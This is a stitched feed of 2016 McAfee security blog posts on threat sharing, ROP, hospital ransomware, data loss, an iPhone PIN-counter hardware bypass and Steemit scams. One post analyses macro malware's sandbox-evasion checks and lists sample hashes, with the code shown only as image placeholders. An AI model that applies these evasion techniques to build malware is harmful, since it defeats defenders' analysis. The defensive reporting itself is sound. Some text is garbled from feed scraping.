“The due diligence process generally requires disclosure of known IT breaches. Security audits or other evaluations conducted during the course of diligence would attempt to assess the likelihood of future breaches or potentially undiscovered IT breaches.”

What was your reaction to the prominent mention of cybersecurity in the presidential debate between Hillary Clinton and Donald Trump?

“It was refreshing to see cybersecurity at the forefront of the national security conversation during the debate. In just a few years, we’ve seen cybersecurity go from a function of the IT back office, to the nation’s Oval Office.

While events have tended to drive government into action, more and more of our nation’s top leaders understand the cyber battlefield is as critical as land, sea, air, and space. The prominence of cybersecurity in this week’s debate is tremendous progress, with the promise of further progress to come in the coming months and years.”

 

 

The post CTO Q&A: Campaign Hacks, Yahoo! and Clinton-Trump appeared first on McAfee Blogs.

]]>
Sharing Cybersecurity Threat Intelligence Is the Only Way We Win https://securingtomorrow.mcafee.com/mcafee-labs/sharing-cybersecurity-threat-intelligence-way-win/ Fri, 30 Sep 2016 03:00:19 +0000 https://blogs.mcafee.com/?p=52962 Cybersecurity is a team sport. The bad guys share information, expertise, and code as they help one another. The good guys must do the same to keep pace. Sharing threat intelligence is a key aspect in which the knowledge gained by the owners of sensor networks can share data with the security analysis community.  This generosity …

The post Sharing Cybersecurity Threat Intelligence Is the Only Way We Win appeared first on McAfee Blogs.

]]>
threat-intel-sharing

Cybersecurity is a team sport. The bad guys share information, expertise, and code as they help one another. The good guys must do the same to keep pace. Sharing threat intelligence is a key aspect in which the knowledge gained by the owners of sensor networks can share data with the security analysis community.  This generosity provides the necessary breadth of data to understand trends, new infections, how botnets are communicating, whether directed targeting is occurring, and even if different attackers are collaborating.

Sadly, sharing is not the norm. Many security companies look at this data as a competitive advantage to sell their products and services. They keep it to themselves in hopes they can find a nugget and market it as a way to win new customers. But the cost of this approach is losing the bigger picture of overall effectiveness.

This attitude is slowly changing. Some security firms are stepping up and sharing more and more data, redacted from personal information and containing only attack characteristics. The combined aspects are like pieces of a massive puzzle that analysts can examine for trends. These puzzle pieces are hugely important to everyone.

I am glad to see major security vendors and researchers beginning to share insights and data. Consortiums such as the Cyber Threat Alliance and sites like VirusTotal lead the way.
cyber-threat-allianceThe Information Sharing and Analysis Organization (ISAO), established as part of a US presidential order in 2015, is developing voluntary standards for private and public data sharing.

But we need more sharing! Attacks are occurring at a phenomenal rate. Malware alone is out of control, with about 44,000 unique samples discovered every day. Security organizations must leverage each other’s information to better predict, prevent, detect, and respond to threats that their customers and organizations face.

The battle that should be fought is not between security vendors, but rather between the threats and collective defensive organizations which stand between attackers and their victims. We must work together to stem the tide of cyberattacks. Public sentiment is very important. If we want our technology to be safe, we must send a clear message to our security vendors. Share threat data or we will patronize a different supplier of security products and services. We have a voice and a vote (with our wallets).

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

My original post of this blog can be found on DarkReading.

The post Sharing Cybersecurity Threat Intelligence Is the Only Way We Win appeared first on McAfee Blogs.

]]>
Macro Malware Employs Advanced Sandbox-Evasion Techniques https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-employs-advanced-sandbox-evasion-techniques/ Thu, 29 Sep 2016 17:00:12 +0000 https://blogs.mcafee.com/?p=52880 During the past couple of weeks, McAfee Labs has observed a new variant of macro malware. With this variant when we click on a doc file, we see the message “This document is protected against unauthorized use. Enable Editing and Enable Content to read content” along with a request to enable macros. If a user clicks …

The post Macro Malware Employs Advanced Sandbox-Evasion Techniques appeared first on McAfee Blogs.

]]>
During the past couple of weeks, McAfee Labs has observed a new variant of macro malware. With this variant when we click on a doc file, we see the message “This document is protected against unauthorized use. Enable Editing and Enable Content to read content” along with a request to enable macros. If a user clicks Enable Content, macros will be enabled and will download malicious content. (By default, Microsoft Windows enables protected view, preventing malicious macros from running unless users enable them.)

Since early March we have seen macro malware using high-obfuscation algorithms to protect itself from static and traditional antimalware detection techniques. Macro malware continues to evolve and use new tricks to evade detection.

1

At first glance, it is difficult to guess the intentions of this macro malware. We further deobfuscated the code and found more readable strings. The obfuscated macro looks like this:

2

In a previous blog, we described how the macro in the document file used the MaxMind service to gather IP-based location data. Previous variants have used fudging techniques such as virtual machine awareness, sandbox awareness, and others. We observed several new checks last week.

Use of painted event

The first major change is that the new variant no longer uses the AutoOpen() or DocumentOpen() function to automatically execute the macro. Instead this variant uses a painted event. This fudging technique bypasses some scanners that expect a payload to be executed with AutoOpen().

3

Checking the filename

Another change is checking the filename. This move is both simple and smart. In most of cases, files submitted to sandboxes contain only hexadecimal characters using SHA256 or MD5 hashes as the filename. If a filename contains only hexadecimal characters, it will not infect the victim’s machine further. In the following code snippet, the malware verifies the filename “TestMacro” for hexadecimal characters.

4

5

 

Number of running processes

The malware also checks for the number of running processes. If count is smaller than 50, then the malware terminates. This is a simple technique to avoid analysis because security researchers often use a fresh copy of a virtual environment with fewer than 50 running processes. The code snippet:

6

 

Blacklist of processes

Because these macro-based downloaders predominantly propagate through spam and phishing emails, the actors have made the effort to infiltrate perimeter devices such as email scanners and gateway products. The malware checks for the presence of processes that may be found running in a sandboxed environment. The checklist is expanded in new variant:

7

Blacklist of networks

We also blogged about how threat actors use the MaxMind service to gather IP-based location data. This variant checks the region Oceania. It has also expanded the list of strings it checks using MaxMind. The list of strings are highly obfuscated and tough to understand. The obfuscated strings looks like the following snippet:

8

The obfuscation algorithm changes frequently. For this variant we deobfuscated the content using a small Python script.

9

The malware checks for the network provider’s name on the victim’s machine. The machine will not be affected by this malware if it verifies that the document file is opened on any of these listed vendors’ networks:

10

Malware authors continue to advance their sandbox-evasion techniques and make security efforts difficult for antimalware products.

Intel Security advises all users to keep their antimalware products up to date. McAfee products detect this malware as W97M/Downloader.

Sample MD5s

  • 05ef99749dec84ffd670ffcfba457c68
  • 2a03a7172b3fe4a8e50eb337643f8a55
  • 317b3f381b8feeb84b7318b1c1bf0970
  • 531364f5afadcadd83aef3158c100c98
  • 535aba8b1a5f0585d2878fd39c8b05d2
  • 73267a21adcf9b587cb44bf54d496b6c

References

https://www.proofpoint.com/us/threat-insight/post/ursnif-banking-trojan-campaign-sandbox-evasion-techniques

 

The post Macro Malware Employs Advanced Sandbox-Evasion Techniques appeared first on McAfee Blogs.

]]>
How Can We Stop ‘ROP’ Cyberattacks? https://securingtomorrow.mcafee.com/mcafee-labs/how-can-we-stop-rop-cyberattacks/ Wed, 28 Sep 2016 23:45:50 +0000 https://blogs.mcafee.com/?p=52816 IBM recently announced a software-oriented solution to help eradicate attacks by return-oriented programming (ROP) malware. ROP malware is a significant and growing problem in the industry. Crafty hackers will use snippets of code from other trusted programs and stitch them together to create their attacks. This method has become a very popular and effective technique for …

The post How Can We Stop ‘ROP’ Cyberattacks? appeared first on McAfee Blogs.

]]>
rop1

IBM recently announced a software-oriented solution to help eradicate attacks by return-oriented programming (ROP) malware. ROP malware is a significant and growing problem in the industry. Crafty hackers will use snippets of code from other trusted programs and stitch them together to create their attacks. This method has become a very popular and effective technique for top malware.

The Security Intelligence article states that “almost 90 percent of exploit-based software attacks use the hostile ROP technique in the chain of attack.” The story also referenced a blog I wrote in June about how Intel and Microsoft have developed a hardware-based solution. Leading companies are looking to prevent these types of attacks.

This problem is real, and will likely be a favorite method of attackers because of its effectiveness and stealth properties. Because ROP malware uses parts of trusted code, it is very difficult to detect and stop. Software solutions have tried in the past to stem the problem, but have largely been unsuccessful. Software fighting software is just too even a fight; attackers need to find only one way around preventive solutions to win. I hope the IBM solution has a positive effect, but am concerned about its long-term viability.

In the end, I believe the future of ROP security will be based on features embedded beneath the software, operating systems, virtual machines, and even the firmware. It will be located in the hardware processor itself. Hardware remains outside the maneuvering zone of software hackers, and thus can give a definitive advantage to securing the system from ROP-based attacks. The architecture can be designed to give advantages to secure computing practices, help operating system be more secure, and compensate for vulnerable software.

Regardless of where the solution lies, it is very important for innovative minds to continue to work on taking the fangs out of ROP attacks.

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity.

The post How Can We Stop ‘ROP’ Cyberattacks? appeared first on McAfee Blogs.

]]>
‘McAfee Labs Threats Report’ Offers Primer on Security Data Science, Analytics, Big Data, Machine Learning https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-offers-primer-security-data-science-analytics-big-data-machine-learning/ Wed, 28 Sep 2016 11:03:34 +0000 https://blogs.mcafee.com/?p=52570 Analytics, big data, automation, and machine learning are all terms we use when talking about the future of cybersecurity. As the volume of security data increases, data science will become an important weapon to disrupt adversaries. Too often, these terms are used as synonyms, but they refer to different parts of the domain of data …

The post ‘McAfee Labs Threats Report’ Offers Primer on Security Data Science, Analytics, Big Data, Machine Learning appeared first on McAfee Blogs.

]]>
Analytics, big data, automation, and machine learning are all terms we use when talking about the future of cybersecurity. As the volume of security data increases, data science will become an important weapon to disrupt adversaries.

Too often, these terms are used as synonyms, but they refer to different parts of the domain of data science. To stay ahead of threats and predict vulnerabilities, we should all have a basic understanding of the fundamental security building block of data science.

What is data science?

Data science is the confluence of math, statistics, hardware, software, and data management. Data scientists apply mathematical algorithms and models to solve problems—such as detecting an attack before it happens or stopping ransomware before it takes over a computer or network. Data management covers the processes of gathering data throughout software and hardware environments, as well as governance, policies, security, storage, and mathematical boundary conditions. Effective data management is as important as the algorithms themselves.

What is big data?

Big is the essential part of big data. Security tools can collect massive quantities of data, which are necessary to develop sustainable patterns of normal and anomalous behavior. The quantities are mind-boggling—data scientists often work in yottabytes (1024 bytes) of data.

What are analytics?

Analytics are the scientific process of transforming data into business insight. This involves mining big data to identify patterns, build models, test those models against real scenarios, and iterate through the process to improve the ultimate effectiveness. There are four basic types of analytics: descriptive (what happened?), diagnostic (why did it happen?), predictive (what will happen?), and prescriptive (this is what is recommended because that will happen).

What is automation?

Automation (as it pertains to machine learning) is simply the process of having computers execute analytic models. Automation can be applied to many parts of cybersecurity and data science by removing repetitive tasks, summarizing datasets that are larger than humans can handle, identifying patterns, and performing mitigation functions, among others.

What is machine learning?

Machine learning is the action of automating analytics to the point that the computer builds on and enhances the model over time, identifying new patterns and relationships to which it can apply rules and policies. When working at the predictive or prescriptive levels, the machine will calculate the expected future value of a particular variable.

What are some common myths?

Big data, analytics, and machine learning are very powerful, but they cannot solve every problem.

Some key myths of analytics:

  • They can be done quickly.
  • The results are always right.
  • You don’t have to know any math or statistics.

Some key myths of machine learning:

  • Human involvement is not required.
  • You can just pick a model and apply it to your data.
  • It is hack proof.

Analytics, big data, automation, and machine learning can be applied to a wide range of business challenges. For cybersecurity, the opportunity is to identify anomalous behavior and other indicators of attack sooner, and even predict future attacks based on context, learned patterns, and shared threat intelligence. Understanding the basics of data science is important to be able to effectively apply these tools to current and future business and security needs.

For the full crash course in security data science, analytics, and machine learning, download the McAfee Labs Threats Report: September 2016.

The post ‘McAfee Labs Threats Report’ Offers Primer on Security Data Science, Analytics, Big Data, Machine Learning appeared first on McAfee Blogs.

]]>
‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss https://securingtomorrow.mcafee.com/mcafee-labs/mcafee-labs-threats-report-delves-into-dangers-of-data-loss/ Mon, 26 Sep 2016 11:01:27 +0000 https://blogs.mcafee.com/?p=52565 Data is leaking out of your organization: accidentally or intentionally, by internals or externals, physically or electronically. During the past year, we have performed extensive research to identify what data is being targeted, who is taking it, how they are getting it out, and the best practices to reduce your exposure to data loss. We …

The post ‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss appeared first on McAfee Blogs.

]]>
Data is leaking out of your organization: accidentally or intentionally, by internals or externals, physically or electronically. During the past year, we have performed extensive research to identify what data is being targeted, who is taking it, how they are getting it out, and the best practices to reduce your exposure to data loss.

We found that most organizations do not realize that they are leaking data. Between 50% and 80% of data breaches are discovered by outside entities, typically when the data is used or sold. According to the 2016 Verizon Data Breach Investigation Report, internal discovery of breaches has been on a downward trend for 10 years.

It should be no surprise that data thefts are usually about the money or that between 60% and 80% of them are conducted by external agents. However, that still means that 20% to 40% of data loss is the result of intentional or accidental actions by people on the inside. Physical media, such as USB keys and laptops, are the most common method of data loss from internals, but fewer than 40% of organizations surveyed are watching these devices closely enough to catch them.

Organizations with data loss prevention (DLP) systems should be well positioned to block data leakage, but many do not appear to be using the tools to their best advantage. Data loss is increasingly happening with unstructured data, such as office documents, yet many organizations do not monitor unstructured data. Relying solely on regular expressions, which is a common method to find things such as credit card or social security numbers, leaves too much valuable information unmonitored.

On average, the IT professionals we surveyed reported dealing with about 20 incidents per day, but there was a tremendous range. Small companies and those in the Asia-Pacific region tend to run below average, while large companies, especially those in financial services and retail, tend to run higher than average. Because false negatives, or data loss that does not trigger an incident alert, are one of the challenges with DLP systems, we found that configuring systems to watch more actions is an important part of reducing the likelihood of data loss.

On the positive side, we found that 85% of all organizations surveyed delivered regular security awareness training to keep the importance of data protection fresh in people’s minds. Teaching employees how to recognize the value of the data they are processing makes the issue real for their particular jobs. Automatic pop-ups that notify them when they are doing something potentially risky are a great reminder, and do not consume a lot of resources.

For more information on this research, download the McAfee Labs Threats Report: September 2016.

The post ‘McAfee Labs Threats Report’ Delves Into Dangers of Data Loss appeared first on McAfee Blogs.

]]>
‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You https://securingtomorrow.mcafee.com/mcafee-labs/ransomware-coming-to-a-hospital-near-you/ Fri, 23 Sep 2016 12:46:52 +0000 https://blogs.mcafee.com/?p=52572 Delivering uninterrupted services with immediate access to information is not an easy task. Doing it with legacy systems, a fragmented workforce, and inconsistent security is a monumental job. Unfortunately, this is the state of many hospitals, leading the criminal underground to their back doors. Ransomware attackers have shifted focus, moving from consumers to organizations with …

The post ‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You appeared first on McAfee Blogs.

]]>
Delivering uninterrupted services with immediate access to information is not an easy task. Doing it with legacy systems, a fragmented workforce, and inconsistent security is a monumental job. Unfortunately, this is the state of many hospitals, leading the criminal underground to their back doors.

Ransomware attackers have shifted focus, moving from consumers to organizations with weak security but a strong reliance on their information systems. Victims appear to be paying. One ransomware developer posted a screenshot of his digital wallet that showed a balance of US$94 million, earned in about six months.

Hospitals have become a prime target because they usually operate legacy systems and medical devices with weak security and they have a life or death need for immediate access to information.

According to a recent study by the Ponemon Institute, half of all healthcare data breaches in the last year were the result of criminal attacks, as opposed to errors or omissions by employees. At the same time, the primary security worry of these organizations is employee negligence. So it comes as no surprise that phishing and other human-weakness exploits are the primary attack vector.

Ransomware attacks often affect medical devices, which are more challenging to protect and clean up than servers and workstations. Recovering from these attacks not only includes the ransom payment but also the costs of downtime and system recovery. Some hospitals have experienced partial or complete network downtime of five to 10 days. The Foundstone Incident Response team identified at least 19 hospital ransomware attacks during the first half of 2016, across six countries. Most of the hospitals that paid the ransom had no contingency plans for this type of event.

What can you do to protect your hospital? Our Top 10 list for protecting healthcare systems from ransomware and other malware infection:

  • Develop an incident response plan, so that if your systems are compromised you can get back in operation quickly.
  • On general-purpose devices, keep the patches up to date. Many of the vulnerabilities exploited by these attackers have patches available.
  • Whitelist medical equipment to prevent unapproved programs from executing.
  • Do not rely on default settings for endpoint protection. Turn on advanced endpoint protections that can block malware executables from running.
  • Add or enhance your antispam filter. Most ransomware attacks use uncommon file formats, packed several levels into .zip files to evade detection, so make sure you are scanning for them.
  • Block unnecessary programs and traffic. Many ransomware control servers use Tor to get their encryption key. If you can block this traffic, you can stop the encryption process.
  • Use network segmentation to separate critical devices required for patient care from the general network.
  • Keep backups completely disconnected from the production network, so that ransomware payloads cannot corrupt your backup data.
  • Reduce or eliminate the use of local disks to store sensitive data. Secure network drives can be restored more quickly, assuming the backups are clean.
  • Almost one in 10 spam messages is still being opened, so ongoing user awareness training is critically important.

To learn more about these recent hospital ransomware attacks and what you can do to protect against them, download the McAfee Labs Threats Report: September 2016.

The post ‘McAfee Labs Threats Report’ Examines Whether Ransomware Is Coming to a Hospital Near You appeared first on McAfee Blogs.

]]>
Hardware Hack Bypasses iPhone PIN Security Counter https://securingtomorrow.mcafee.com/mcafee-labs/hardware-hack-bypasses-iphone-pin-security-counter/ Thu, 22 Sep 2016 16:18:38 +0000 https://blogs.mcafee.com/?p=52732 A security researcher from the University of Cambridge has found a way to hack the iPhone NAND memory hardware to sufficiently bypass an important security feature, allowing a brute-force attack against the passcode lock of an iPhone 5C. This is the same lock that stymied the FBI as part of the highly publicized privacy case in …

The post Hardware Hack Bypasses iPhone PIN Security Counter appeared first on McAfee Blogs.

]]>
unlocked-phone

A security researcher from the University of Cambridge has found a way to hack the iPhone NAND memory hardware to sufficiently bypass an important security feature, allowing a brute-force attack against the passcode lock of an iPhone 5C. This is the same lock that stymied the FBI as part of the highly publicized privacy case in which they demanded Apple create a workaround to access the phone of the San Bernardino, Calif., shooter. Apple refused on ethical grounds and a media frenzy ensued. Ultimately, the FBI dropped the legal case against Apple and reportedly paid $1 million to an unknown security company to unlock the phone.

Recently a security researcher wrote a paper and then built a hacking rig to do the same, for about $100. The iPhone 5C security control in question is one that limits the number of attempts to enter an unlocking PIN. After a certain number of attempts, the phone will wait for a long period before allowing another attempt. After 10 attempts the device permanently deletes the encryption keys, making all the data on the phone irretrievable. This check is controlled in the firmware and hardware of the device to prevent a brute-force attack, which is designed to try all combinations. A four-digit pin has 10,000 possible combinations, from 0000 to 9999. Attempts to try even a small number of them will result in the phone quickly being locked and ultimately the data rendered unrecoverable.

The researcher created a cloned NAND memory chip under his control, to replace the one embedded in the iPhone. It reset the counter after every pin attempt. Thus automating the process, a brute-force attack succeeded. Even with such a rudimentary system, a four-digit code was cracked in about 40 hours. With a more powerful system, a crack could occur much faster.

There is no doubt hardware is the final frontier in cybersecurity. Hacking hardware can bypass all software-based controls. On the other hand, leveraging hardware for security makes every attack visible and presents the toughest barriers for attackers to overcome.

In this case a savvy security researcher and very little money proved that the manipulation of hardware is a powerful force in unlocking even the most secure smartphones. It is in the interest of manufacturers, businesses, consumers, and agencies to better understand the nuances of how hardware, firmware, and software security controls work.

Hardware based security and hacking is the future of cybersecurity. The only question is who will take the high ground first, the attackers or defenders? Hackers, nation-states, and ethical researchers are exploring exploitable vulnerabilities in both firmware and hardware. At the same time, hardware designers and manufacturers are adding features to make devices more resistant to compromise and give security software better capabilities. Apple in particular is updating its hardware, firmware, and operating system architectures to be more secure. The race is on!

 

Interested in more?  Follow me on Twitter (@Matt_Rosenquist) and LinkedIn to hear insights and what is going on in cybersecurity

The post Hardware Hack Bypasses iPhone PIN Security Counter appeared first on McAfee Blogs.

]]>
Unregulated at Any Speed: DoT’s Cybersecurity Policy for Self-Driving Cars https://securingtomorrow.mcafee.com/mcafee-labs/unregulated-speed-dots-cybersecurity-policy-self-driving-cars/ Wed, 21 Sep 2016 03:55:07 +0000 https://blogs.mcafee.com/?p=52737 Despite headlines, hype, and hysteria, US government rightly chooses cybersecurity guidance over regulation. The Obama administration today unveiled its long-awaited safety policy for self-driving or automated vehicles (AVs). Despite the recent tragic death of a passenger travelling in a Tesla-built AV, and persistent discussions of spectacular cyber-sabotage scenarios, the government chose a wise, sober course …

The post Unregulated at Any Speed: DoT’s Cybersecurity Policy for Self-Driving Cars appeared first on McAfee Blogs.

]]>
Despite headlines, hype, and hysteria, US government rightly chooses cybersecurity guidance over regulation.

The Obama administration today unveiled its long-awaited safety policy for self-driving or automated vehicles (AVs). Despite the recent tragic death of a passenger travelling in a Tesla-built AV, and persistent discussions of spectacular cyber-sabotage scenarios, the government chose a wise, sober course in regard to cybersecurity.

The US Department of Transportation and National Highway Traffic and Safety Administration (NHTSA) opted to work with industry to drive AV innovation, rather than propose regulations that could restrict such innovation, and even potentially undermine the cybersecurity of such vehicles.

DoT’s four-point policy seeks to lay “a path for the safe testing and deployment of new auto technologies” with life-preserving and resource-conserving potential for the American people. Specifically, the policy presents a model for federal and state regulatory responsibilities, outlines NHTSA’s AV regulatory tools, and proposes new regulatory tools and statutory authorities.

In the area of safety, however, the government presents a 15-Point Safety Assessment Guidance, including everything from consumer education, to data recording and privacy, to human machine interfaces, to crashworthiness, to our primary concern: vehicle cybersecurity.

This afternoon, Intel Security CTO Steve Grobman commented that the choice of cybersecurity guidance reveals an Obama administration “highly-supportive” of AV technology and the cybersecurity innovation required to protect it:

“In choosing guidance over regulation, the administration showed itself to be both industry supportive and tech savvy. They’ve focused on best practices and the Auto-ISAC threat analysis and vulnerability sharing between automakers and component manufacturers.

They clearly understand that the critical cybersecurity challenge in self-driving vehicles will be tackling the threats of today and tomorrow—versus the threats of five years ago.

There’s always a concern that government regulations may stifle the ability of innovators to innovate, whereas guidance tends to create an ongoing, constructive, even progressive dialog between stakeholders.

But one of the greatest challenges of cybersecurity is that a regulation-based approach to protection never keeps up with the rapid pace of a changing cyberthreat landscape. New threats and vulnerabilities come to light each month.

Well-meaning regulatory regimes can force an opportunity cost upon manufacturers, as limited resources best applied to address today’s most critical threats can be spent wrestling with restrictions meant to address older issues long after they are critical security concerns.”

For more on Intel Security’s perspectives on and technology commitments to vehicle cybersecurity, please see our recent whitepaper and announcements around the Automotive Security Review Board (ASRB).

To learn what everyone should know about the cybersecurity of connected cars and driverless vehicles, please see Gary Davis’ blog “From the Ground Up: How the Cars of the Future Will Be Secured.”

 

Members of the press interested in speaking to Mr. Grobman on this topic may do so by contacting chris.palm@intel.com.

 

The post Unregulated at Any Speed: DoT’s Cybersecurity Policy for Self-Driving Cars appeared first on McAfee Blogs.

]]>
Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next https://securingtomorrow.mcafee.com/mcafee-labs/cryptocurrencies-a-target-for-cybercriminals-part-2-social-platforms-come-next/ Mon, 19 Sep 2016 04:12:49 +0000 https://blogs.mcafee.com/?p=52526 One target of cybercriminals is cryptocurrencies, which hold tremendous wealth but are largely anonymous. This limits the attack surface mostly to avenues requiring complex technical approaches. Always preferring the path of least resistance, many fraudsters and online thieves prefer to target people rather than systems. This is the second of two posts on threats to …

The post Cryptocurrencies a Target for Cybercriminals, Part 2: Social Platforms Come Next appeared first on McAfee Blogs.

]]>
cryptocurrency-hacker

One target of cybercriminals is cryptocurrencies, which hold tremendous wealth but are largely anonymous. This limits the attack surface mostly to avenues requiring complex technical approaches. Always preferring the path of least resistance, many fraudsters and online thieves prefer to target people rather than systems. This is the second of two posts on threats to cryptocurrencies. In the first, we looked at some risks of innovation. In this post, we examine threats via social platforms.

Cryptocurrency opportunity for cybercriminals

The chaotic world of cryptocurrencies is ripe with innovation. There are blockchains and related currencies associated with all manner of business transactions, recordkeeping, legal contracts, charities, and even healthcare research. In many cases the application of blockchain technology solves a variety of problems and opens new value-added opportunities. An emerging sector is the convergence with social media platforms. One popular example is Steemit, a newcomer to the cryptocurrency world that may represent an evolutionary trend, differentiating itself from traditional digital currencies by bridging blockchain and social media. Steemit appeared early this year and skyrocketed in value and prominence to break into the top five cryptocurrencies with a market cap of about $160 million.

Like Ethereum, a blockchain app platform, Steemit is more than just a monetary device. Steem, the cryptocurrency, is intertwined with the decentralized social media networking site Steemit.com. This social portal allows people to create posts, interact with others, and curate content by voting for their favorites. These elements are very similar to other social media sites. The difference, however, is that the platform grants cryptocurrency as a reward to authors and curators. The process of voting for popular content contributes to the value of the posts, which is paid to participants. In short, a blogger can earn cryptocurrency by authoring content that is voted up by other members of the community. This currency can then be sold on digital markets and transferred into US dollars or other forms of money. Users have a social profile that is tied to the open blockchain, as is all the content. So everything is public and transparent, embedded in the chain, including account balances and activities of the users.

Although this innovative platform pays users to participate, the front-end social media web portal opens new avenues for cybercriminals that are not present in most other cryptocurrencies. Being able to conduct research on who has considerable wealth and what topics they are interested in, write about, vote for, or comment on is a big advantage for social engineering criminals.

Steemit and others like it use a public blockchain, digital wallets, and miners. So the normal technical-based cryptoattacks will occur as we have seen with other cryptocurrencies. Mining attacks seek more than one’s fair share. Attempts to counterfeit transactions or create fraudulent ones in the system are popular. Researchers will scour the open-source code for vulnerabilities they can exploit. Malware will attempt to infect systems so the software can steal private keys and logins, or conduct man-in-the-middle attacks. These are typical  attempts to circumvent security controls and victimize users. In fact, the site has already experienced a hack, but contained the impact to less than $85,000, affecting only 260 users. The losses were reimbursed.

The difference with these cryptocurrency-based social platforms is they expose community interaction elements to social engineers, who can take advantage of the abundance of open-source information to attack users. Most other cryptocurrencies shield their users and owners with anonymity.

Anyone can join, so it is easy to stalk or befriend a target. Attackers can track what their prey like or dislike, as well as establish patterns when they are active, figure out whom they know and trust, and watch transactions on their accounts. These are all very valuable tools supporting social engineering attacks.

cryptocurrency-hacker3

 

Welcome fraudsters

Behavioral attacks work against the weakest element of a computer network, the users. Successful attacks can give complete control of systems, access to accounts, lock out legitimate users, destroy reputations, and steal intellectual property and financial assets.

Fraud is a common practice in cyberspace; it provides a quick financial benefit to attackers. For Steemit, because it is a full-fledged social platform, I predict an abnormally high level of fraud, scams, phishing, and other manner of social engineering attempts, compared with other cryptocurrencies without deep social interactions. Now attackers can communicate through posting and commenting. Secondary avenues such as chat and person-to-person messages, which are currently delivered with third-party tools, will likely be instituted before the official release. This step will grant an aggressor many avenues to attack potential victims.

There will be scams, posts that lure people to purchase, donate, or click so an attacker benefits. Ponzi swindles, lottery rip-offs, and get-rich-quick schemes will flourish if these threats are not proactively addressed. I have already seen a few attempts.

Phishing is likely to include bad links within posts, directing users to sites with malware or to legitimate sites on which ads have been compromised to push malware to visitors. Either way, if attackers can successfully install their malicious software, the victims lose.

Common phishing techniques include soliciting passwords or private keys from users. An email, instant pop-up message, text, or redirection to an authentic looking webpage could be designed to obtain a user’s credentials, keys, or passwords. There are already reports of users receiving emails that look like legitimate requests from administrators. Others report emails that direct the user to a webpage with a name similar to the site’s but just one character off in the address.

The platform is in open beta testing, with the Version 1.0 coming. Releasing software to the public before it is completed and tested is a common practice for new cryptocurrencies, but there are many risks with this approach. This move can expose users to new vulnerabilities; exploits are expected. The development team must split its time between bug fixes and new functions.

Until Steemit is released with a complete set of integrated features, there exists an opportunity for crafty criminals to create tools that require users to input their private keys. A tool author in good standing could wait for many people to use a tool before turning on them and liquidating the assets of overly trusting victims.

 

Cryptocurrency-based social media sites a big target

cryptocurrency-steemitSteem will face all the typical problems that other digital currencies must deal with. It must also cope with the pressure of being a work-in-progress social media site and the likely behavioral attacks that will leverage the communication aspects of this platform. Synereo is another platform that will soon emerge and will receive the same attention from fraudsters. The success of this model will fuel more to follow.

 

Positive characteristics might make a difference

Although I believe cybercriminals will relentlessly target Steemit’s social platform, the platform has several positive security aspects.

I have been a beta participant for about a month. Multiple aspects set Steemit apart from other cryptocurrency operations. The developers have an excellent depth of knowledge in cryptocurrency. Some of what I have seen should be considered best practices for other platforms to adopt.

  1. Three passwords instead of one. Passwords offer separation of controls. Instead of just one password, the architecture has three: an owner key, active key, and posting key. Each can be used in different ways and potentially be leveraged to limit exposure of one all-powerful private key.
  2. Developers are on the ball. The platform benefits from a very active developer community to identify issues, engineer fixes, and quickly resolve problems. The recent account breach was contained in a day.
  3. The governance architecture. The code employs a delegated proof-of-stake (DPOS) consensus algorithm. In a DPOS system, the community votes for individuals, called witnesses, to be responsible for verifying transactions. Unlike with typical decentralized autonomous organizations, with DPOS only a small number of representatives control the blockchain, which makes decisions much faster. Witnesses are voted into paying roles as custodians of the system. If necessary, witnesses can control blockchain forks, changes to the core structure to correct serious issues. A small number of accountable people are the active caretakers of the platform and respond in a timely manner.
  4. The currency has three layers of abstraction. Steem is a classic cryptocurrency; Steem Dollars is a long-term investment option; and Steem Power dictates the value of the user’s votes. This may seem confusing, but it creates some complexities for criminals. Each layer has its own properties, uses, and limitations. Steem is completely liquid and can be sold for Bitcoin and then converted to dollars, while Steem Power takes two years to reach a liquid form that can be converted to dollars. The confusion aside, the separation creates compartmentalization that attackers must contend with and in some cases institutes time delays before money is completely transferred. Each barrier is another opportunity to detect an attack and intervene.
  5. Two factors for account recovery. The platform can use two-factor authentication to recover accounts. Using passwords and a verification via email address, the system can restore hijacked accounts quickly and with a good degree of confidence.
  6. Escrow times for major account changes. The developers are working on a dispute system for owner-key changes. They have proposed a structure in which users would identify trusted individuals to take part in multisignature oversight and recovery systems. Essentially, if your account is taken over, your trusted individuals challenge the takeover to restore the rightful owner.
  7. Thought leadership. This team of developers takes a proactive approach to anticipate challenges. They have experience with other cryptocurrencies and are very active in avoiding the pitfalls experienced by other systems. I have been impressed with their willingness to openly discuss future challenges, propose a number of options, and listen to the feedback of the community.
  8. Self-regulating users. They are diverse, opinionated, and do not put up with people abusing the system. Users readily call out scams and do a fairly good job at self-regulating. This frees developers to focus on architectural challenges, feature enhancements, and bug fixes.

 

User recommendations

Here are my recommendations to be safe and protect your assets.

  1. Be aware you may be targeted via the social media platform. Social engineering can take many forms. Trust no one with your passcodes or keys.
  2. Expect email, text, and even phone phishing asking you to install something, provide your passcodes or keys, or even to simply pay a “fine.” Believe nothing you receive in email or text. And never click on a link you receive in an email or text. If you are instructed to log in to your account, open a browser and navigate manually. Don’t click that link!
  3. Ignore “transfer requests,” Ponzi scams, lottery posts, “you’ve won a prize” scams, and anyone who wants to give you a fortune but first you must send them a processing fee. These are all ways for an attacker to benefit.
  4. Ransomware is a big and growing problem that can use social aspects to infect. Get acquainted with the risks of ransomware and what to do before and after an infection. Read “7 Methods to Fight Back Against Ransomware” and “Ransomware Help is Here.”
  5. Watch for malicious links in posts. I don’t believe the site checks for malicious links embedded in posts created by other users. This could be a big problem. Malicious sites can push malware and legitimate sites can be hijacked as can ads appearing on them. If you are unsure, use Google to see if the site is safe.
  6. Beware of fake endorsements, friends, and trust scams. Professional social engineers will learn about you and find emotional attachments to gain your trust. They can be a long-lost college friend, an attractive young girl, an abused little boy, a starving farmer in a far away land, a stranded traveler in a hostile country, the coolest DJ you ever met, an almost famous movie star. Social sites are not a place to assign trust. So don’t. The moment attackers gain your trust, they will ask for something and relentlessly manipulate you until they get it.
